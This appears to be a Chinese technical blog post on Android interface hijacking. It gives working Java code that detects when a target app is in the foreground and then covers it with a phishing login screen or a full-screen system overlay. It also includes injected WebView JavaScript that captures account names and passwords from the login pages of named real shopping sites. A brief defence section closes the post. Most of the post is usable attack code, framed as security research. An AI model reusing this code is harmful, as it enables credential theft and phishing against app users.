Android APP客户端安全评估中,有一项叫做activity界面劫持。该bug的攻击场景是,当手机中的恶意APP检测到当前运行的为目标APP时,就启动自身的钓鱼界面覆盖到目标APP之上,以欺骗用户输入账号密码等。本文将要归纳Android各个版本可以使用的检测当前运行的APP的方法,及附带webview的劫持示例。
1、getRunningTasks(android5.0之前)
ActivityManager am = (ActivityManager) getBaseContext().getSystemService (Context.ACTIVITY_SERVICE); ComponentName cn = am.getRunningTasks(1).get(0).topActivity; String packageName = cn.getPackageName(); List list = Arrays.asList(TARGET_APPS); if(packageName != null && list.contains(packageName)){ Intent i = new Intent(); i.setClassName("com.haoren.hijack", "com.haoren.hijack.Login"); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplicationContext().startActivity(i); break; }
getRunningTasks需要使用权限android:name=”android.permission.GET_TASKS”
除了使用activity覆盖目标APP,还可以使用alertwindow(模态弹窗),如下demo
view = LayoutInflater.from(getApplicationContext()).inflate(R.layout.login, null); wm = (WindowManager) getSystemService(Context.WINDOW_SERVICE); final WindowManager.LayoutParams params = new WindowManager.LayoutParams(); params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT; int flags1 = WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM; params.flags = flags1; params.width = LayoutParams.MATCH_PARENT; params.height = LayoutParams.MATCH_PARENT; params.gravity = Gravity.CENTER; wm.addView(view, params); //设置不响应任何按键,可拒绝服务 view.setOnKeyListener(new OnKeyListener() { @Override public boolean onKey(View v, int keyCode, KeyEvent event) { switch (keyCode) { case KeyEvent.KEYCODE_BACK: if(wm != null) wm.removeView(view); return true; default: return false; } } });
alertwindow需要使用权限android:name=”android.permission.SYSTEM_ALERT_WINDOW”
2、Accessibility Service(辅助功能,一直可用)
(Accessibility Service,需要引导用户在手机 “设置” 中激活才能有效,需要使用权限android:name=”android.permission.BIND_ACCESSIBILITY_SERVICE“)
在Accessibility Service的onAccessibilityEvent回调函数中,可以检测到当前执行的APP,如下
@Override public void onAccessibilityEvent(AccessibilityEvent arg0) { String topActivity = null; String s = ""; if(arg0 != null){ if(arg0.getPackageName() != null){ topActivity = arg0.getPackageName().toString(); } if(arg0.getText() != null){ s = arg0.getText().toString().split(",")[0].replace("[", "").replace("]", ""); } } //if(topActivity.equals("com.achievo.vipshop") && s.equals("登 录")){ if(topActivity.equals("com.achievo.vipshop")){ Log.i("accessibility", "xxxx"+s); Intent i = new Intent(); i.setClassName("com.haoren.hijack", "com.haoren.hijack.Login"); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplicationContext().startActivity(i); } }
3、通过/proc/目录也可以获取当前应用(Android7.0中限制了APP获取/proc/的内容,会失效)
使用github中的AndroidProcesses库,可以直接获取,如下
PackageManager pm = getApplicationContext().getPackageManager(); AndroidAppProcess target = null; List list = Arrays.asList(TARGET_APPS); String pName = null; while(true){ target = null; List processes = AndroidProcesses.getRunningAppProcesses(); for(AndroidAppProcess a : processes){ PackageInfo packageInfo; try { Stat stat = a.stat(); int pid = stat.getPid(); packageInfo = a.getPackageInfo(getApplicationContext(), 0); String appName = packageInfo.applicationInfo.loadLabel(pm).toString(); pName = packageInfo.packageName; if(appName != null && list.contains(pName) && new AndroidAppProcess(pid).foreground){ target = a; Log.i("xu", "xuxu"+pid); break; } } catch (Exception e) { e.printStackTrace(); } } if(target != null){ Log.i("xu", "xuxu"+pName); //do something here break; } }
4、UsageStatsManager(Android5.0引入)
需要系统级别权限android.permission.PACKAGE_USAGE_STATS(系统签名的APP能使用该权限),参见
github中的android-overlay-malware-example
5、webview
webview加载目标m站后,再加载恶意js,劫持用户输入,如下
webview添加java接口:
webView.addJavascriptInterface(new MyJavaScriptInterface(), “MYOBJECT”);
然后覆盖setWebViewClient的onPageFinished,插入js代码,劫持用户输入
@Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); StringBuilder sb = new StringBuilder(); if(url.contains("vip.com")){ sb.append("document.getElementByIdx_x_x_x_x('J_topDownloadBar').style.display='none';"); } if(url.contains("mpassport.dangdang.com")){ sb.append("document.getElementByIdx_x_x_x_x('password').onblur=function(){"); sb.append("var objPWD, objAccount;var str = 'dangdang';"); sb.append("objAccount = document.getElementByIdx_x_x_x_x('username');"); sb.append("objPWD = document.getElementByIdx_x_x_x_x('password');"); sb.append("if (objAccount != null) {str += objAccount.value;}"); sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); sb.append("window.MYOBJECT.processHTML(str);"); sb.append("return true;"); sb.append("};"); }else if(url.contains("mlogin.vip.com")){ sb.append("document.getElementByIdx_x_x_x_x('inputPsw').onblur=function(){"); sb.append("var objPWD, objAccount;var str = 'vip';"); sb.append("objAccount = document.getElementByIdx_x_x_x_x('inputName');"); sb.append("objPWD = document.getElementByIdx_x_x_x_x('inputPsw');"); sb.append("if (objAccount != null) {str += objAccount.value;}"); sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); sb.append("window.MYOBJECT.processHTML(str);"); sb.append("return true;"); sb.append("};"); }else if(url.contains("plogin.m.jd.com")){ sb.append("document.getElementsByClassName('txt-input txt-password')[0].onblur=function(){"); sb.append("var objPWD, objAccount;var str = 'jd';"); sb.append("objAccount = document.getElementsByClassName('txt-input txt-username')[0];"); sb.append("objPWD = document.getElementsByClassName('txt-input txt-password')[0];"); sb.append("if (objAccount != null) {str += objAccount.value;}"); sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); sb.append("window.MYOBJECT.processHTML(str);"); sb.append("return true;"); sb.append("};"); }else{ sb.append("document.getElementsByTagName_r('form')[0].onsubmit = function () {"); sb.append("var objPWD, objAccount;var str = 'other';"); sb.append("var inputs = document.getElementsByTagName_r('input');"); sb.append("for (var i = 0; i < inputs.length; i++) {"); sb.append("if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}"); sb.append("else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}"); sb.append("}"); sb.append("if (objAccount != null) {str += objAccount.value;}"); sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); sb.append("window.MYOBJECT.processHTML(str);"); sb.append("return true;"); sb.append("};"); } view.loadUrl("javascript:" + sb.toString()); }
以上是个人归纳的客户端劫持可能的途径(此类攻击难度较大,分享出来作技术研究)
防护方法
最后,一个粗略的防护方案:
①、对于界面(activity)覆盖,可以利用同样的方法,判断是否为自身在activity栈顶。
②、alertwindow不是activity栈机制,依然无法检测。在android6.0之后,如果app是从Play Store安装的,则SYSTEM_ALERT_WINDOW自动允许,如果是其他途径安装的则需要用户手动在设置中开启 悬浮窗 权限。
另外重载onFilterTouchEventForSecurity函数可以进行安全检测(未测)
③、对Accessibility Service这类,只有提高用户的安全意识方面着手
④、对于webview类型的劫持,可以利用js计算当前页面是否被篡改过
⑤、对于/proc/目录和UsageStatsManager两个 Android系统方面也有相应的防护